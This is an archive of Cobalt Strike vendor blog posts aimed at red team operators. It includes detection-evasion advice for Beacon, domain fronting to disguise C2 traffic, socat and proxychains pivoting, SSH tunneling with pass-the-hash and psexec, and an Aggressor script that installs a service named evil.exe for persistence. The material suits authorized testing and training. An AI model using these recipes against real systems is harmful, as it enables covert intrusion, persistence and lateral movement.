Archive for the ‘Red Team’ Category


OPSEC Considerations for Beacon Commands

June 23, 2017

A good operator knows their tools and has an idea of how the tool is accomplishing its objectives on their behalf. This blog post surveys Beacons commands and provides background on which commands inject into remote processes, which commands spawn jobs, and which commands rely on cmd.exe or powershell.exe.


These commands are built-into Beacon and rely on Win32 APIs to meet their objectives.


House-keeping Commands

The following commands are built into Beacon and exist to configure Beacon or perform house-keeping actions. Some of these commands (e.g., clear, downloads, help, mode, note) do not generate a task for Beacon to execute.

mode dns
mode dns-txt
mode dns6
mode http
socks stop

Post-Exploitation Jobs (Process Execution + Remote Process Injection)

Many Beacon post-exploitation features spawn a process and inject a capability into that process. Beacon does this for a number of reasons: (i) this protects the agent if the capability crashes, (ii) this scheme makes it seamless for an x86 Beacon to launch x64 post-exploitation tasks. The following commands run as post-exploitation jobs:


OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe (you probably don’t want that). The ppid command will change the parent process these jobs are run under as well.

Process Execution

These commands spawn a new process:


OPSEC Advice: The ppid command will change the parent process of commands run by execute. The ppid command does not affect runas or spawnu.

Process Execution: Cmd.exe

The shell command depends on cmd.exe.

The pth and getsystem commands get honorable mention here. These commands rely on cmd.exe to pass a token to Beacon via a named pipe.

OPSEC Advice: the shell command uses the COMSPEC environment variable to find the preferred command-line interpreter on Windows. Use Aggressor Script’s &bsetenv function to point COMSPEC to a different cmd.exe location, if needed. Use the ppid command to change the parent process the command-line interpreter is run under. To pth without cmd.exe, execute the pth steps by hand.

Process Execution: PowerShell.exe

The following commands launch powershell.exe to perform some task on your behalf.


OPSEC Advice: Use the ppid command to change the parent process powershell.exe is run under. Be aware, there are alternatives to each of these commands that do not use powershell.exe:

  • spawnu has runu which runs an arbitrary command under another process.
  • spawnas has runas which runs an arbitrary command as another user.
  • powershell has powerpick, this command runs powershell scripts without powershell.exe.
  • It’s also possible to laterally spread without the winrm and wmi commands.

Remote Process Injection

The post-exploitation job commands (previously mentioned) rely on process injection too. The other commands that inject into a remote process are:


Service Creation

The following internal Beacon commands create a service (either on the current host or a remote target) to run a command. These commands use Win32 APIs to create and manipulate services.



High-reputation Redirectors and Domain Fronting

February 6, 2017

Working on Cobalt Strike, I get some insight into what folks are trying to do with it. Recently, the use of domain fronting for redirectors has come on my radar.

A redirector is a server that sits between your malware controller and the target network. Domain fronting is a collection of techniques to make use of other people’s domains and infrastructure as redirectors for your controller.

A trivial form of domain fronting is to stand up a node in Amazon’s EC2 and configure it as a redirector for your controller. The FQDN of your EC2 instance is an subdomain. Your payloads may call home to this. While this is beneficial in some cases, this isn’t where things get interesting.

Domain fronting becomes interesting when used to appropriate high-reputation domains as redirectors for your controller.

Domain Fronting with Alternate Hosts

How is it possible to use a high-reputation domain that you don’t control? Let’s use Amazon’s CloudFront as an example.

CloudFront is a Content Delivery Network service. It provides its users a globally distributed cache for files hosted on their servers. This reduces load on the customer’s servers and allows the CDN to serve cached content from data centers close(r) to the requester. Each CloudFront configuration is called a “distribution”.

CloudFront identifies distributions by the FQDN used to request resources. Each CloudFront distribution has a unique subdomain. CloudFront’s users also have the option to serve CloudFront cached objects via their own sub-domain. This is done by creating a DNS record that points to CloudFront and telling CloudFront to associate that DNS record with a specific distribution. Easy enough.

When a client connects to CloudFront, the DNS name that led there is lost information. CloudFront relies on other parts of the request to extract which DNS name the client wants resources from. In an HTTP request, this is the Host header.

One way to domain front is to configure a payload to call home to one host (e.g., and set the Host header to something else (e.g., If the Host header is set right (and nothing else changes it), your configuration will dictate what happens next.


Let’s examine what this looks like by hand.

The host is my Cobalt Strike web server, setup to serve /foo.txt. Naturally a request with wget works. (Note: I change wget’s User-Agent with –U because Cobalt Strike always returns a 404 for lynx, wget, and curl useragents).

root@kali:~# wget -U demo -q -O -
I'm a happy little malware controller. 🙂 is my CloudFront distribution. I’ve configured it to serve objects from A request to this host works to retrieve our file as well:

root@kali:~# wget -U demo -q -O -
I'm a happy little malware controller. 🙂

What happens if we forge the Host header to a different identity? In this case, we get nothing back.

root@kali:~# wget -U demo -q -O - --header "Host:" is a domain name that points to CloudFront. I know about this domain because other resources on domain fronting use it as an example. If I request /foo.txt from this host, naturally it’s not going to give me anything.

root@kali:~# wget -U demo -q -O -

Let’s modify that slightly. We’ll use the domain (it all goes to the same place, right?)—but, we’ll forge the Host header to the FQDN of my CloudFront distribution. In this case, I get back the text file.

root@kali:~# wget -U demo -q -O - --header "Host:"
I'm a happy little malware controller. 🙂

Here, I’ve used as my high-reputation domain name. There are other, far more interesting, options though.

Domain Fronting with Cobalt Strike

Tom Steele and Chris Patten from Optiv’s Attack and Penetration Team wrote Escape and Evasion Egressing Restricted Networks. This blog post shows how to setup a CloudFront distribution as a redirector for Cobalt Strike’s Beacon payload.

Once this is setup, you’ll want to decide which domain(s) you will use as redirectors. Let’s say a popular blog service uses CloudFront to serve static images. You may decide it makes sense to use this domain for your C2. Fine!

Next, I recommend you configure a Cobalt Strike Malleable C2 profile that matches something plausible on this domain. Malleable C2 is a Cobalt Strike technology that allows you, the product’s user, to shape Cobalt Strike’s Beacon traffic to look like other malware or something legitimate. If the domain serves static images, make a profile that looks like one of these static images. Keep in mind it’s possible to use only HTTP GETs (or even HTTP POSTs) for C2.

Once you have that part figured out, you’ll want to update your profile to insert your CloudFront distribution’s FQDN into the Host header. You can do this with Malleable C2’s header keyword:

http-get {
	client {
		header "Host" "[your distribution]";

Make sure you do this in both the http-get -> client and http-post -> client Malleable C2 blocks. During a conversation, a friend remarked that they were stuck for awhile because they set the Host header in the http-get block, but not the http-post block. You have to set this in both places.

http-post {
	client {
		header "Host" "[your distribution]";

Once this is setup, you can configure your Beacon payload to call home to different domains that point to CloudFront.

One limitation: there’s no option to set the Host header in Cobalt Strike’s stagers. You can work with stageless payloads though. Go to Attacks -> Packages -> Windows EXE (S) to export a Cobalt Strike stageless artifact. If you want to stage, I recommend that you configure the stager to connect to your distribution directly or use another redirector.

This video walks through all of this, end-to-end:

 Finding High-reputation Domains for Use

My examples here use as an alternate host. Think of it as the Hello World of Domain Fronting. Vincent Yiu from MDSec took this a step further. He wrote a script to check likely CDN subdomains from a list of popular websites. His initial work found over three thousand subdomains that point to CloudFront and demonstrated that they work as alternate hosts with the technique discussed here.

A Note About RFC 2616, Section 14.23

So far, this blog post focuses on domain fronting over HTTP. If the target system goes through a proxy server, you’re in trouble. An RFC-compliant HTTP proxy server will rewrite the Host header in an HTTP request to match the domain in the URL it’s asked to retrieve. The Squid proxy documentation talks about this behavior. For many some networks, this means HTTP is a non-option.


Update 7 Feb 2017: This behavior matches my experiments with a Squid proxy locally, but don’t take it for granted that your target’s appliance(s) work this way. After I made this post live, Vincent Yiu took a look at a commercial secure web appliance and its behavior with these techniques. This appliance didn’t rewrite the Host header as expected. If you’re curious about how an appliance that enforces site categorization behaves with these techniques, Vincent’s latest video is worth a look:

You probably want SSL/TLS

What about SSL/TLS? That’s an option. This will likely get you through some proxy configurations. A device that intercepts SSL traffic will may make life more difficult. You may find that certain networks will exempt some high-reputation domains from SSL interception.


If you’d like to use the HTTPS Beacon with CloudFront:

  1. Be aware, CloudFront requires your web server to have a valid SSL certificate.
  2. Consult Cobalt Strike’s Malleable C2 documentation. It shows how to use a valid SSL certificate with Beacon.

Other Services

Here, I’ve given a lot of details on domain fronting with CloudFront. There are other fronting-capable web services where these (and other) techniques apply. The Camouflage at encryption layer: domain fronting blog post demonstrates these concepts with Google App Engine. The documentation for the Meek Pluggable Tor Transport also discusses several domain fronting options. Finally, Blocking-resistant communication through domain fronting describes this concept in detail, for multiple services.

My Thoughts

Domain Fronting is an interesting technique to use high-reputation domains for callbacks. It’s not the right tool for all situations though. An RFC compliant proxy will defeat HTTP requests. A proxy server that terminates and inspects SSL/TLS sessions will might handily defeat this as well. There’s probably wiggle room using this technique with whitelisted high-reputation domains. This makes locating domain options even more important! Remember, these are not CloudFront-only techniques.


My First Go with BloodHound

December 14, 2016

I finally had a chance to sit down and play with BloodHound. This was an item on my hacker todo list for awhile now. In this blog post, I’ll take you through my initial steps setting up and using this tool. It’s my hope that this information will help you get started with BloodHound too.

What is BloodHound?

BloodHound is a tool to analyze and understand Active Directory Trust Relationships. For an offensive practitioner, this tool can highlight the hops you might take to reach a goal within a network. For a defensive practitioner, this tool is gold as it can show you the most likely paths an attacker might take. It’s a good exercise to decide which of these trust paths needs to exist and which you can eliminate.

BloodHound is open source (GPLv3) and its developers are Andy Robbins, Rohan Vazarkar, and Will Schroeder from Veris Group’s Adaptive Threat Division.

To get an initial taste of the tool, I recommend that you watch their Six Degrees of Domain Admin conference talk.


There are setup instructions on the BloodHound Wiki. These instructions do assume some familiarity with Neo4j. For the record, I have no familiarity with Neo4j. I found the Setting Up BloodHound on Debian Jessie post by Sanjiv Kawa very helpful. With Sanjiv’s information and the information on the BloodHound Wiki, I was able to get everything going on Kali Linux 2016 rolling without too much trouble.


Once BloodHound is running, you’ll want to bring some data into it and give it a spin. There is an example database, but I chose to pull BloodHound data from my test environment and import it into the tool instead.

BloodHound comes with a PowerShell script with several cmdlets that make this process easy. Get-BloodHoundData collects the data BloodHound needs. This cmdlet will return a PowerShell object. It’s necessary to pipe this object to another cmdlet to take some action on it. The Export-BloodHoundCSV cmdlet will dump the BloodHound data into three CSV files.

powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV

The CSV files will exist on the target where the above cmdlets were run. To import them into BloodHound: download the CSV files and use the Upload function in BloodHound’s interface.

From this point, you’re ready to run queries against this data. BloodHound has several pre-built queries and it’s also very easy to ask BloodHound to give you a trust path from one identity or system to another.

In this video I demonstrate these steps:


I think BloodHound is one of the neatest things to come into the red teamer’s arsenal this year. While my demo network is easy to go through by hand, imagine the use of this tool in a much larger environment with more complex trusts. There’s a lot of power here.


Agentless Post Exploitation

November 3, 2016

Agentless Post Exploitation is using system administration capabilities to meet post-exploitation objectives, without an agent on the target. It’s just evil system administration. This talk is a survey of agentless post-exploitation techniques. It covers how to execute commands, upload/download files, harvest credential material, user exploitation, and pivoting. Enjoy!

You may also download the slides as well.


HOWTO: Port Forwards through a SOCKS proxy

June 1, 2016

Recently, I’ve had multiple people ask about port forwards with Cobalt Strike’s Beacon payload. Beacon has had SOCKS proxy pivoting support since June 2013. This feature opens a SOCKS proxy server on the team server. Each SOCKS server instance is associated with an individual Beacon. All requests and traffic sent to a Cobalt Strike SOCKS server are sent to the Beacon to take action on.

SOCKS pivoting is a no-brainer with a SOCKS aware application, such as a web browser. Simply point the application at your Cobalt Strike team server, put in the right port, and away you go.

SOCKS pivoting is also easy on Linux, thanks to the magic of proxychains. The proxychains program will run a program, intercept outbound network connections from that program, and force the connection through the SOCKS proxy set in a global configuration file (/etc/proxychains.conf).

These options work well in many cases, but they do not cover all cases. What happens if you need to tunnel the Windows RDP client through the Beacon payload? How about interacting with a target network share from a red Windows asset tunneled over Cobalt Strike’s Beacon payload?

One way to meet the above needs is to use a commercial tool, like ProxyCap, to make your Windows system proxy aware. [Thanks Meatballs, for the tip on this one]. This will allow you to force Windows tools and clients through the Beacon payload.

Another option is to create a port forward on your team server that reaches the target host and port through your Beacon. There’s one problem here. Beacon does not have a port forward command [it does have reverse port forwards]. I may add this in the future, but it’s not a big omission. You can use socat to create a port forward that goes through a SOCKS proxy. Here’s the syntax to do this:

 socat TCP4-LISTEN:<listen port>,fork SOCKS4:<team server host>:<target>:<target port>,socksport=<socks port>

Let’s say you want to port forward 3389 on your team server in red space to in blue space. Let’s assume the Beacon SOCKS proxy lives on port 9999. Here’s the syntax to do this:

 socat TCP4-LISTEN:3389,fork SOCKS4:,socksport=9999

And, that’s how you turn a SOCKS proxy server into a port forward. This works equally well with the SOCKS pivoting available over SSH. In fact, Advanced Threat Tactics, part 7 – Pivoting, covers the topics in this post. If you liked this post, I recommend that you check out that lecture. [The whole course is chock-full of other goodness too]


Linux, Left out in the Cold?

March 23, 2016

I’ve had several folks ask about Linux targets with Cobalt Strike 3.0 and later. Beacon is a Windows-only payload. The big question becomes, how do you use Cobalt Strike to operate against Linux, BSD, and other UNIX flavored targets?

Cobalt Strike is not the master unified interface for all hacking tasks. Rather, Cobalt Strike is a toolset to facilitate targeted phishing, covert post-exploitation, and lateral movement in a typical Windows enterprise environment. I didn’t forget about other targets though. Beacon has a built-in port scanner to help find them. I also provide options to use Beacon as a communication layer to bring other tools into the engagement (when it makes sense).

It’s quite easy to use Cobalt Strike as a jumping off platform to reach UNIX server targets. In this blog post, I’ll share a few recipes to do so.

Access Strategies

Cobalt Strike does not have tools to find vulnerabilities in and exploit UNIX targets. If there’s an exploit or attack you want to use, tunnel it through Cobalt Strike’s Beacon.

Optionally, target a system administrator’s Windows workstation and use that access to steal trust material to take a UNIX target. There are a lot of options here.

Cobalt Strike has keystroke logging and screenshot tools designed for long-term operations. The Red Team Field Manual has an interesting recipe to log all keystrokes and output from Putty sessions. You can also look at tools like, PuttyRider, which lets you inject into Putty and do interesting things.

Finally, if you observe a user interacting with a web interface to a device or server, try a browser pivot to interact with that site, as them. Browser Pivoting is Cobalt Strike’s man-in-the-browser session hijacking capability.

Tunnel SSH over Beacon

Cobalt Strike’s Beacon exposes a SOCKS interface for pivoting. SOCKS is a standard for proxy servers and proxy-aware clients. To create a SOCKS interface tied to a Beacon:

1. Interact with a Beacon

2. Type sleep 0 to ask to the Beacon to check-in multiple times each second. A high check-in time will introduce latency into your tunneled traffic.

3. Type socks 1234 to create a SOCKS proxy server on port 1234 of your team server.

At this point, you have a listening socket, on your team server, ready to receive connections from proxy-aware clients. The Beacon associated with this SOCKS server will initiate any connections requested by a SOCKS client. Once a connection is made, Cobalt Strike relays all traffic between the SOCKS client and the new connection via Beacon’s communication path (whatever it is).


Some applications have built-in support for SOCKS. Other applications do not. If you want to use an application that is not SOCKS aware, try out proxychains.

The proxychains program accepts a program name and program arguments as its arguments. Any outbound TCP connection made the specified program is forced through a proxy server. This proxy configuration is specified in a global configuration file (/etc/proxychains.conf).

To tunnel SSH through a SOCKS proxy server with proxychains:

4. Open /etc/proxychains.conf with your favorite text editor.

5. Scroll to the bottom of the file.

6. Change the lines under [ProxyList] to:

socks4 1234

7. Save the file.

8. In a new terminal, type: proxychains ssh user@target

Your SSH session will now tunnel through Cobalt Strike’s Beacon payload.

Tunnel Beacon over SSH

You may run into a situation where you need to tunnel Cobalt Strike’s Beacon through a compromised Linux target to attack a Windows network. I’ve had this happen and I’ve heard stories from others with a similar situation. I can’t say this is something you’ll see often, but it’s a good exercise in tunneling flexibility.

Here’s the scenario:

I can reach a Linux target over SSH. This Linux target can talk to a Windows network I want to attack. I have credential material for the Linux target. I also have credential material for a Windows target. I want to attack the Windows target with Cobalt Strike.

Here are the steps:

1. From a red Linux asset, run: ssh –D 1080 user@linux_target. This command will create an SSH session and a SOCKS proxy server, bound to port 1080 on the red Linux asset, that forwards all connections through the SSH tunnel. In effect, this proxy allows us to make connections from the compromised Linux target.

2. On the red Linux asset, forward port 445 to reach a Windows target through the SSH SOCKS Proxy server. Here’s the socat recipe for this: socat TCP4-LISTEN:445,fork SOCKS4: Anything that touches this red Linux asset on port 445, will now reach the Windows target on port 445.

3. Run a Beacon on a red Windows asset. Cobalt Strike’s attacks are deployed to and run by Beacon directly. This plays well with Cobalt Strike’s model of offense.

4. Create a named pipe listener in Cobalt Strike. Go to Cobalt Strike -> Listeners. Press Add. Choose the windows/beacon_smb/bind_pipe payload.

5. Through the red asset Beacon, create an access token from credential material for an Administrator user on the target Windows system. Use make_token [DOMAIN\user] [password] if you have credentials. Use pth [DOMAIN\user] [hash] if you have an NTLM hash.

6. Attack the Windows target (via the Linux port forward) with psexec or psexec_psh .


Cobalt Strike will run Beacon, stage it, and assume control of the host over port 445. Since we’re targeting a port forward on a pivot system, this process will ride over our SSH tunnel. You now have a Beacon foothold, in another network, tunneled through a Linux target.

Control UNIX Targets with PowerShell

rvrsh3ll published an Invoke-SSHCommand PowerShell cmdlet. This script runs a command over SSH and returns its output to you. Here’s how to use this script with Beacon:

1. Download the Misc-PowerShell Scripts repository from Github

git clone

2. Interact with a Beacon

3. Use powershell-import /path/to/Invoke-SSHCommand.ps1 to import rvrsh3ll’s script into Beacon.

4. Run powershell Invoke-SSHCommand –ip [target] –username [user] –password [password] –command “uname –a”

These steps will run the uname –a command on a target of your choosing. Be aware that this script does require .NET 3.5 on the target or it won’t work.

If you find it cumbersome to type these commands again and again, you can use Aggressor Script to define an ssh alias in Beacon:

# beacon> ssh [target] [user] [pass] "[command + args]"
alias ssh {
	($bid, $target, $user, $pass, $what) = @_;
	bpowershell_import($bid, script_resource("Invoke-SSHCommand.ps1"));
	bpowershell($bid, "Invoke-SSHCommand -IP $target -Username $user -Password $pass -Command \" $+ $what $+ \"");

The Post Exploitation and Pivoting lectures of Advanced Threat Tactics covers many of the concepts in this blog post.


Cobalt Strike Tips for 2016 CCDC Red Teams

February 23, 2016

It’s CCDC season again. CCDC is the National Collegiate Cyber Defense Competition. Teams of students in 10 regions run simulated business networks and defend against red team attacks. The winners of these regional events square off at the National CCDC in San Antonio, TX.

Strategic Cyber LLC is making Cobalt Strike available to the red teams at the regional and National CCDC events. License information should come from your red team lead. If you’re a lead and you don’t have this information, shoot me an email.

Here are a few notes on how to benefit from Cobalt Strike during your CCDC event:


Many organizers will allow a red team member to scan blue networks before the event starts. I recommend that you use NMap and use the –oX flag to generate an XML file. Go to View -> Targets and press Import to bring this information into Cobalt Strike.

Initial Access

Some CCDC events operate under the mantra of assume breach. In these events, the red team pre-seeds their backdoors and misconfigurations on blue team systems. For these events, I would export a stageless HTTP or DNS Beacon (Attacks -> Packages -> Windows Executable (S)) and run it on each starter system.

Other events promise students “clean systems”. These events start with a frantic race. Students rush to change passwords and isolate their networks in a way the rules allow. The red team launches carefully prepared scripts to exploit vulnerable services or default passwords to get footholds in the unsecured blue networks.

Cobalt Strike 3.0 and later no longer integrate the Metasploit Framework. I would not use Cobalt Strike 3.x for these scripted opening salvos. If you want to efficiently launch exploits at a lot of targets, use Armitage or create a Metasploit resource script.

If you still want to use Cobalt Strike to launch attacks without a foothold, read How do I psexec without an initial Beacon?


Cobalt Strike’s Beacon payload does not include built-in persistence. This is by design. If I include a turn-key persistence option, everyone will know to look for it. Instead, I expect you to script something.

Here’s a script that automatically persists on a system when a new Beacon comes in:

# 1. Go to Attacks -> Packages -> Windows Executable (S)
# 2. Export a Windows Service EXE file
# 3. Save as evil.exe in the same folder as this script

on beacon_initial {
	bcd($1, "c:\\windows\\");
	bupload($1, script_resource("evil.exe"));
	bshell($1, "sc create evil binpath= \"c:\\windows\\evil.exe\"");
	bshell($1, "sc start evil");

Consult the Aggressor Script documentation for more information on scripting Cobalt Strike 3.x.

User Exploitation

Cobalt Strike does not bake its screenshot and keystroke features into the Beacon agent. Instead, these features are Reflective DLLs that inject into a process of your choosing. These DLLs then report information back to Cobalt Strike’s Beacon. This allows you to sit in a SYSTEM-level process and watch the user’s keystrokes and take screenshots without migrating processes. Cobalt Strike also has a neat workflow to mass deploy these features. I recommend that you watch this video and become familiar with these features. It’ll make your event a lot more fun. 🙂

Tool Interoperability and Session Passing

Multiple toolsets are in play during the CCDC events. I would expect to see BeaconPowerShell Empire, Meterpreter, and Throwback. You’ll want to know how to use these tools together.

Justin Warner’s Empire & Tool Diversity: Integration is Key blog post shows how to use PowerShell Empire to interoperate with Cobalt Strike and the Metasploit Framework.

Cobalt Strike has thought out workflows to tunnel the Metasploit Framework through Beacon, spawn Meterpreter sessions, and deliver Beacon with Metasploit Framework exploits. Read Interoperability with the Metasploit Framework to understand these best practices to use Cobalt Strike and the Metasploit Framework together.

Finally, you can use Silent Break Security’s Throwback to pass sessions to Cobalt Strike. Ask Throwback to spawn a Meterpreter Reverse HTTPS or Meterpreter Reverse HTTP payload and point the IP address/port at your Beacon listener. Brady Bloxham’s Throwback Thursday – A Guide to Configuring Throwback blog post will take you through Throwback setup and use, step-by-step.

Screenshots, Logs, and Reports

Cobalt Strike now logs all red team activity on its team server. These logs are stored in the logs/ folder co-located with your Cobalt Strike distribution. All commands, output, and screenshots are available with timestamps for each activity. If you need ground truth on whether or not something happened, these logs are the place to go.

Red Team Leads are always asking for good screenshots. Use Ctrl+T to take a screenshot of the current tab in Cobalt Strike. This feature pushes screenshots to the team server and stores them in the logs/[date]/screenshots folder. You no longer have to worry about the interesting screenshots living on random volunteer laptops.

Cobalt Strike’s Reports are helpful aids for debriefing with your student blue teams. Reporting -> Activity Report is an action-by-action timeline of all red team activity. Reporting -> Sessions Report documents red team infrastructure, indicators, and activity on a session-by-session basis. Finally, Reporting -> Indicators of Compromise lists MD5 hashes of files put on disk and all of your callback domains and IP addresses. If you use multiple team servers, don’t fret! Cobalt Strike’s Reporting Tool merges information from all servers you’re connected to when it makes its reports.

How to Prepare

If you’re new to red teaming at CCDC or Cobalt Strike, there are several resources to help you prepare for your event:

Watch Advanced Threat Tactics to learn about Cobalt Strike and its workflows. This nine-part course is a time investment, but it’ll provide the background necessary to understand use Cobalt Strike.

I have several write-ups on previous CCDC events: Start with So, you won a regional and you’re headed to National CCDC. This blog post is a generic description of how the National CCDC team works and the defenses we commonly see. National CCDC Red Team – Fair and Balanced documents my experience on the 2013 National CCDC Red Team. WRCCDC – A Red Team Member’s Perspective covers my experience at the 2013 WRCCDC. Last, check out CCDC Red Teams: Ten Tips to Maximize Success. While these posts are older, their content is relevant going into this CCDC season.

Finally, watch Dirty Red Team Tricks I and Dirty Red Team Tricks II. These talks discuss my early days of CCDC Red Teaming and provide a first-hand account of a CCDC red team’s evolution from catch-and-release exploitation of vulnerable systems to providing a persistent actor for students to detect and respond to.